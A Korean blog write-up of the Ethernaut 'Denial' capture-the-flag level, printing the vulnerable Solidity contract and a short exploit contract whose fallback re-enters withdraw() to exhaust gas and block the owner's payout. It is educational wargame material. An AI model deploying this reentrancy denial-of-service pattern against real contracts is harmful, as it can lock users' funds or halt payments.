본문 바로가기
  • Show the world what you can do
Web3/Ethernaut

[Ethernaut] Denial 풀이

by kaymin 2025. 1. 18.
Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

 

심플한 재진입 공격으로 owner의 인출을 막을 수 있다. reentrancy attack을 수행하는 컨트랙트를 배포하여 성공하였다.

 

Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract call_denial{
    address inst_addr=0x2aA18b755B15a92D83557e87A654d99438a64d22;

    function attack() public{
        inst_addr.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
    }
    fallback() external payable{
        inst_addr.call(abi.encodeWithSignature("withdraw()"));
    }
}

'Web3 > Ethernaut' 카테고리의 다른 글

[Ethernaut] Switch 풀이  (0) 2025.01.18
[Ethernaut] Good Samaritan 풀이  (0) 2025.01.18
[Ethernaut] Magic Number 풀이  (0) 2025.01.18
[Ethernaut] GateKeeper Two 풀이  (0) 2025.01.18
[Ethernaut] Gatekeeper One 풀이  (0) 2025.01.18

댓글